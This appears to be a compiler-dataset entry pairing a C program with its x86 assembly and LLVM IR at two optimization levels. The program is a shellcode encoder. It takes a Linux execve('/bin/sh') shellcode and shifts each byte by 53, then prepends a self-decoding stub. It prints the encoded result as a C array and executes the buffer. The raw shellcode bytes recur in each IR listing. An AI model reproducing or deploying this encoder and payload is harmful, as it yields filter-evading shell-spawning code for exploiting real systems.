#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ execute(char *);
int /*<<< orphan*/ free(char *);
scalar_t__ malloc(int);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ strcat(char *, char *);
int strlen(char *);
int main() {
  char decoder[] =
      "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01"
      "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff";
  char shellcode[] =
      "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd"
      "\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";
  char tmp;
  char *end;
  int size = 53;
  int i;
  int l = 15;
  for (i = 0; i < strlen(shellcode); i++) {
    shellcode[i] += size;
  }
  decoder[6] += strlen(shellcode);
  decoder[11] += size;
  end = (char *)malloc(strlen(shellcode) + strlen(decoder));
  strcat(end, decoder);
  strcat(end, shellcode);
  printf("\n\nchar shellcode[] =\n");
  for (i = 0; i < strlen(end); ++i) {
    if (l >= 15) {
      if (i)
        printf("\"\n");
      printf("\t\"");
      l = 0;
    }
    ++l;
    printf("\\x%02x", ((unsigned char *)end)[i]);
  }
  execute(end);
  free(end);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
movl   $0x0,-0x4(%rbp)
mov    0xe8a(%rip),%rax
mov    %rax,-0x20(%rbp)
mov    0xe87(%rip),%rax
mov    %rax,-0x18(%rbp)
mov    0xe84(%rip),%rax
mov    %rax,-0x10(%rbp)
mov    0xe82(%rip),%al
mov    %al,-0x8(%rbp)
mov    0xe80(%rip),%rax
mov    %rax,-0x40(%rbp)
mov    0xe7d(%rip),%rax
mov    %rax,-0x38(%rbp)
mov    0xe7a(%rip),%rax
mov    %rax,-0x30(%rbp)
mov    0xe78(%rip),%eax
mov    %eax,-0x28(%rbp)
mov    0xe72(%rip),%ax
mov    %ax,-0x24(%rbp)
movl   $0x35,-0x54(%rbp)
movl   $0xf,-0x5c(%rbp)
movl   $0x0,-0x58(%rbp)
mov    -0x58(%rbp),%eax
mov    %eax,-0x60(%rbp)
lea    -0x40(%rbp),%rdi
call   1040 <strlen@plt>
mov    %eax,%ecx
mov    -0x60(%rbp),%eax
cmp    %ecx,%eax
jge    121f <main+0xbf>
mov    -0x54(%rbp),%edx
movslq -0x58(%rbp),%rax
movsbl -0x40(%rbp,%rax,1),%ecx
add    %edx,%ecx
mov    %cl,-0x40(%rbp,%rax,1)
mov    -0x58(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x58(%rbp)
jmp    11e3 <main+0x83>
lea    -0x40(%rbp),%rdi
call   1040 <strlen@plt>
mov    %eax,%ecx
movsbl -0x1a(%rbp),%eax
add    %ecx,%eax
mov    %al,-0x1a(%rbp)
mov    -0x54(%rbp),%ecx
movsbl -0x15(%rbp),%eax
add    %ecx,%eax
mov    %al,-0x15(%rbp)
lea    -0x40(%rbp),%rdi
call   1040 <strlen@plt>
mov    %eax,-0x64(%rbp)
lea    -0x20(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x64(%rbp),%edi
add    %eax,%edi
call   1070 <malloc@plt>
mov    %rax,-0x50(%rbp)
mov    -0x50(%rbp),%rdi
lea    -0x20(%rbp),%rsi
call   1080 <strcat@plt>
mov    -0x50(%rbp),%rdi
lea    -0x40(%rbp),%rsi
call   1080 <strcat@plt>
lea    0xdbb(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0x0,-0x58(%rbp)
mov    -0x58(%rbp),%eax
mov    %eax,-0x68(%rbp)
mov    -0x50(%rbp),%rdi
call   1040 <strlen@plt>
mov    %eax,%ecx
mov    -0x68(%rbp),%eax
cmp    %ecx,%eax
jge    1315 <main+0x1b5>
cmpl   $0xf,-0x5c(%rbp)
jl     12e4 <main+0x184>
cmpl   $0x0,-0x58(%rbp)
je     12cf <main+0x16f>
lea    0xd8c(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xd81(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0x0,-0x5c(%rbp)
mov    -0x5c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x5c(%rbp)
mov    -0x50(%rbp),%rax
movslq -0x58(%rbp),%rcx
movzbl (%rax,%rcx,1),%esi
lea    0xd5a(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x58(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x58(%rbp)
jmp    1291 <main+0x131>
mov    -0x50(%rbp),%rdi
call   1060 <execute@plt>
mov    -0x50(%rbp),%rdi
call   1030 <free@plt>
mov    -0x4(%rbp),%eax
add    $0x70,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x48,%rsp
movups 0xe84(%rip),%xmm0
movups %xmm0,0x29(%rsp)
movaps 0xe6f(%rip),%xmm0
movaps %xmm0,0x20(%rsp)
movups 0xe91(%rip),%xmm0
movups %xmm0,0xe(%rsp)
movaps 0xe77(%rip),%xmm0
movaps %xmm0,(%rsp)
mov    %rsp,%rdi
call   1050 <strlen@plt>
test   %eax,%eax
jle    11d7 <main+0x67>
xor    %ebp,%ebp
mov    %rsp,%rbx
xchg   %ax,%ax
addb   $0x35,(%rsp,%rbp,1)
add    $0x1,%rbp
mov    %rbx,%rdi
call   1050 <strlen@plt>
cltq
cmp    %rax,%rbp
jl     11c0 <main+0x50>
mov    %rsp,%r14
mov    %r14,%rdi
call   1050 <strlen@plt>
mov    %al,0x26(%rsp)
movb   $0x35,0x2b(%rsp)
mov    %r14,%rdi
call   1050 <strlen@plt>
mov    %eax,%ebx
lea    0x20(%rsp),%r15
mov    %r15,%rdi
call   1050 <strlen@plt>
add    %eax,%ebx
mov    %ebx,%edi
call   1080 <malloc@plt>
mov    %rax,%r13
mov    %rax,%rdi
mov    %r15,%rsi
call   1090 <strcat@plt>
mov    %r13,%rdi
mov    %r14,%rsi
call   1090 <strcat@plt>
lea    0xe1d(%rip),%rdi
call   1040 <puts@plt>
mov    %r13,%rdi
call   1050 <strlen@plt>
test   %eax,%eax
jle    12d1 <main+0x161>
lea    0xdf7(%rip),%rdi
xor    %eax,%eax
call   1060 <printf@plt>
movzbl 0x0(%r13),%esi
lea    0xde7(%rip),%rdi
xor    %eax,%eax
call   1060 <printf@plt>
mov    %r13,%rdi
call   1050 <strlen@plt>
cmp    $0x2,%eax
jl     12d1 <main+0x161>
mov    $0x1,%ebp
mov    $0x1,%ebx
lea    0xdc0(%rip),%r14
lea    0xdb8(%rip),%r15
lea    0xdb4(%rip),%r12
jmp    12b6 <main+0x146>
nop
add    $0x1,%ebp
movzbl 0x0(%r13,%rbx,1),%esi
mov    %r12,%rdi
xor    %eax,%eax
call   1060 <printf@plt>
add    $0x1,%rbx
mov    %r13,%rdi
call   1050 <strlen@plt>
cltq
cmp    %rax,%rbx
jge    12d1 <main+0x161>
cmp    $0xf,%ebp
jl     1290 <main+0x120>
mov    %r14,%rdi
call   1040 <puts@plt>
xor    %ebp,%ebp
mov    %r15,%rdi
xor    %eax,%eax
call   1060 <printf@plt>
jmp    1290 <main+0x120>
mov    %r13,%rdi
call   1070 <execute@plt>
mov    %r13,%rdi
call   1030 <free@plt>
xor    %eax,%eax
add    $0x48,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@__const.main.decoder = [25 x i8] c"\EB\11^1\C9\B1\00\80l\0E\FF\00\80\E9\01u\F6\EB\05\E8\EA\FF\FF\FF\00"
@__const.main.shellcode = [30 x i8] c"\EB\0E^1\C0\88F\07PPV\B0;P\CD\80\E8\ED\FF\FF\FF/bin/sh#\00"
@.str = [22 x i8] c"\0A\0Achar shellcode[] =\0A\00"
@.str.1 = [3 x i8] c"\22\0A\00"
@.str.2 = [3 x i8] c"\09\22\00"
@.str.3 = [7 x i8] c"\\x%02x\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca [25 x i8]
%3 = alloca [30 x i8]
%4 = alloca i8
%5 = alloca i8*
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
store i32 0, i32* %1
%9 = bitcast [25 x i8]* %2 to i8*
%10 = bitcast [30 x i8]* %3 to i8*
store i32 53, i32* %6
store i32 15, i32* %8
store i32 0, i32* %7
br label %11
11: ; preds = %25, %0
%12 = load i32, i32* %7
%13 = getelementptr inbounds [30 x i8], [30 x i8]* %3, i64 0, i64 0
%14 = call i32 @strlen(i8* %13)
%15 = icmp slt i32 %12, %14
br i1 %15, label %16, label %28
16: ; preds = %11
%17 = load i32, i32* %6
%18 = load i32, i32* %7
%19 = sext i32 %18 to i64
%20 = getelementptr inbounds [30 x i8], [30 x i8]* %3, i64 0, i64 %19
%21 = load i8, i8* %20
%22 = sext i8 %21 to i32
%23 = add nsw i32 %22, %17
%24 = trunc i32 %23 to i8
store i8 %24, i8* %20
br label %25
25: ; preds = %16
%26 = load i32, i32* %7
%27 = add nsw i32 %26, 1
store i32 %27, i32* %7
br label %11
28: ; preds = %11
%29 = getelementptr inbounds [30 x i8], [30 x i8]* %3, i64 0, i64 0
%30 = call i32 @strlen(i8* %29)
%31 = getelementptr inbounds [25 x i8], [25 x i8]* %2, i64 0, i64 6
%32 = load i8, i8* %31
%33 = sext i8 %32 to i32
%34 = add nsw i32 %33, %30
%35 = trunc i32 %34 to i8
store i8 %35, i8* %31
%36 = load i32, i32* %6
%37 = getelementptr inbounds [25 x i8], [25 x i8]* %2, i64 0, i64 11
%38 = load i8, i8* %37
%39 = sext i8 %38 to i32
%40 = add nsw i32 %39, %36
%41 = trunc i32 %40 to i8
store i8 %41, i8* %37
%42 = getelementptr inbounds [30 x i8], [30 x i8]* %3, i64 0, i64 0
%43 = call i32 @strlen(i8* %42)
%44 = getelementptr inbounds [25 x i8], [25 x i8]* %2, i64 0, i64 0
%45 = call i32 @strlen(i8* %44)
%46 = add nsw i32 %43, %45
%47 = call i64 @malloc(i32 %46)
%48 = inttoptr i64 %47 to i8*
store i8* %48, i8** %5
%49 = load i8*, i8** %5
%50 = getelementptr inbounds [25 x i8], [25 x i8]* %2, i64 0, i64 0
%51 = call i32 @strcat(i8* %49, i8* %50)
%52 = load i8*, i8** %5
%53 = getelementptr inbounds [30 x i8], [30 x i8]* %3, i64 0, i64 0
%54 = call i32 @strcat(i8* %52, i8* %53)
%55 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str, i64 0, i64 0))
store i32 0, i32* %7
br label %56
56: ; preds = %81, %28
%57 = load i32, i32* %7
%58 = load i8*, i8** %5
%59 = call i32 @strlen(i8* %58)
%60 = icmp slt i32 %57, %59
br i1 %60, label %61, label %84
61: ; preds = %56
%62 = load i32, i32* %8
%63 = icmp sge i32 %62, 15
br i1 %63, label %64, label %71
64: ; preds = %61
%65 = load i32, i32* %7
%66 = icmp ne i32 %65, 0
br i1 %66, label %67, label %69
67: ; preds = %64
%68 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0))
br label %69
69: ; preds = %67, %64
%70 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0))
store i32 0, i32* %8
br label %71
71: ; preds = %69, %61
%72 = load i32, i32* %8
%73 = add nsw i32 %72, 1
store i32 %73, i32* %8
%74 = load i8*, i8** %5
%75 = load i32, i32* %7
%76 = sext i32 %75 to i64
%77 = getelementptr inbounds i8, i8* %74, i64 %76
%78 = load i8, i8* %77
%79 = zext i8 %78 to i32
%80 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i32 %79)
br label %81
81: ; preds = %71
%82 = load i32, i32* %7
%83 = add nsw i32 %82, 1
store i32 %83, i32* %7
br label %56
84: ; preds = %56
%85 = load i8*, i8** %5
%86 = call i32 @execute(i8* %85)
%87 = load i8*, i8** %5
%88 = call i32 @free(i8* %87)
%89 = load i32, i32* %1
ret i32 %89
}

LLVM IR (-O2):
@__const.main.decoder = [25 x i8] c"\EB\11^1\C9\B1\00\80l\0E\FF\00\80\E9\01u\F6\EB\05\E8\EA\FF\FF\FF\00"
@__const.main.shellcode = [30 x i8] c"\EB\0E^1\C0\88F\07PPV\B0;P\CD\80\E8\ED\FF\FF\FF/bin/sh#\00"
@.str.2 = [3 x i8] c"\09\22\00"
@.str.3 = [7 x i8] c"\\x%02x\00"
@str = [21 x i8] c"\0A\0Achar shellcode[] =\00"
@str.4 = [2 x i8] c"\22\00"
define i32 @main() {
%1 = alloca [25 x i8]
%2 = alloca [30 x i8]
%3 = getelementptr inbounds [25 x i8], [25 x i8]* %1, i64 0, i64 0
%4 = getelementptr inbounds [30 x i8], [30 x i8]* %2, i64 0, i64 0
%5 = call i32 @strlen(i8* %4)
%6 = icmp sgt i32 %5, 0
br i1 %6, label %7, label %16
7: ; preds = %0, %7
%8 = phi i64 [ %12, %7 ], [ 0, %0 ]
%9 = getelementptr inbounds [30 x i8], [30 x i8]* %2, i64 0, i64 %8
%10 = load i8, i8* %9
%11 = add i8 %10, 53
store i8 %11, i8* %9
%12 = add nuw nsw i64 %8, 1
%13 = call i32 @strlen(i8* %4)
%14 = sext i32 %13 to i64
%15 = icmp slt i64 %12, %14
br i1 %15, label %7, label %16
16: ; preds = %7, %0
%17 = call i32 @strlen(i8* %4)
%18 = getelementptr inbounds [25 x i8], [25 x i8]* %1, i64 0, i64 6
%19 = trunc i32 %17 to i8
store i8 %19, i8* %18
%20 = getelementptr inbounds [25 x i8], [25 x i8]* %1, i64 0, i64 11
store i8 53, i8* %20
%21 = call i32 @strlen(i8* %4)
%22 = call i32 @strlen(i8* %3)
%23 = add nsw i32 %22, %21
%24 = call i64 @malloc(i32 %23)
%25 = inttoptr i64 %24 to i8*
%26 = call i32 @strcat(i8* %25, i8* %3)
%27 = call i32 @strcat(i8* %25, i8* %4)
%28 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @str, i64 0, i64 0))
%29 = call i32 @strlen(i8* %25)
%30 = icmp sgt i32 %29, 0
br i1 %30, label %31, label %56
31: ; preds = %16
%32 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0))
%33 = load i8, i8* %25
%34 = zext i8 %33 to i32
%35 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i32 %34)
%36 = call i32 @strlen(i8* %25)
%37 = icmp sgt i32 %36, 1
br i1 %37, label %38, label %56
38: ; preds = %31, %45
%39 = phi i64 [ %52, %45 ], [ 1, %31 ]
%40 = phi i32 [ %47, %45 ], [ 1, %31 ]
%41 = icmp sgt i32 %40, 14
br i1 %41, label %42, label %45
42: ; preds = %38
%43 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([2 x i8], [2 x i8]* @str.4, i64 0, i64 0))
%44 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0))
br label %45
45: ; preds = %42, %38
%46 = phi i32 [ 0, %42 ], [ %40, %38 ]
%47 = add nsw i32 %46, 1
%48 = getelementptr inbounds i8, i8* %25, i64 %39
%49 = load i8, i8* %48
%50 = zext i8 %49 to i32
%51 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i32 %50)
%52 = add nuw nsw i64 %39, 1
%53 = call i32 @strlen(i8* %25)
%54 = sext i32 %53 to i64
%55 = icmp slt i64 %52, %54
br i1 %55, label %38, label %56
56: ; preds = %45, %31, %16
%57 = call i32 @execute(i8* %25)
%58 = call i32 @free(i8* %25)
ret i32 0
}